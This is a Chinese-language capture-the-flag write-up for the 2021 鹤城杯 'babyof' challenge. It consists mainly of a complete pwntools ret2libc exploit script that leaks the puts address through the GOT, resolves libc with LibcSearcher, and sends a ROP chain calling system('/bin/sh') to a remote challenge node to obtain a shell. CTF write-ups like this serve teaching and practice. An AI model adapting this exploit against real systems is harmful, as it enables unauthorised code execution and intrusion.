0%

[2021 鹤城杯]babyof gagaAAA的WriteUp

2023-11-17 13:14By
gagaAAA
ret2libc栈溢出Libc泄漏LibcSearcher

NSSIMAGE
NSSIMAGE

from LibcSearcher import LibcSearcher
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process(['./babyof'])

p = remote('node4.anna.nssctf.cn', 28632)
elf = ELF('./babyof')

ret = 0x400506
pop_rdi = 0x400743
func_vuln_addr = 0x400632
//使用flat函数将多个参数拼接成一个字符串,其中包括一个长度为0x40+0x08的cyclic字符串(用于覆盖到RET指令),RET指令地址,pop rdi指令地址,puts函数的GOT地址,puts函数的PLT地址,漏洞函数的地址。这样构造的payload会触发漏洞,在执行RET指令时跳转到pop rdi指令,将puts函数的GOT地址加载到RDI寄存器中,然后调用puts函数。
payload = flat([cyclic(0x40 + 0x08), pop_rdi, elf.got['puts'], elf.plt['puts'], func_vuln_addr])
//使用sendlineafter函数发送payload至目标程序,使用recvuntil函数接收程序输出直到遇到字符串"win\n"为止,然后将接收到的地址转换为整数。

p.sendlineafter(b"Do you know how to do buffer overflow?\n", payload)
p.recvuntil(b'win\n')

puts_addr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\00'))
//使用LibcSearcher类创建一个对象并传入函数名和地址,然后使用dump方法获取该函数在libc中的偏移量,进而计算出libc的基址。

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
//构造的payload包括cyclic字符串、RET指令地址、pop rdi指令地址、“/bin/sh"字符串地址、system函数地址。这样构造的payload会触发漏洞,在执行RET指令时跳转到pop rdi指令,将”/bin/sh"字符串地址加载到RDI寄存器中,然后调用system函数。

payload = flat([cyclic(0x40 + 0x08), ret, pop_rdi, str_bin_sh, system_addr])
p.sendlineafter(b"Do you know how to do buffer overflow?\n", payload)

p.interactive()
如果出现选择一个数字,选择5,再输入cat flag

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论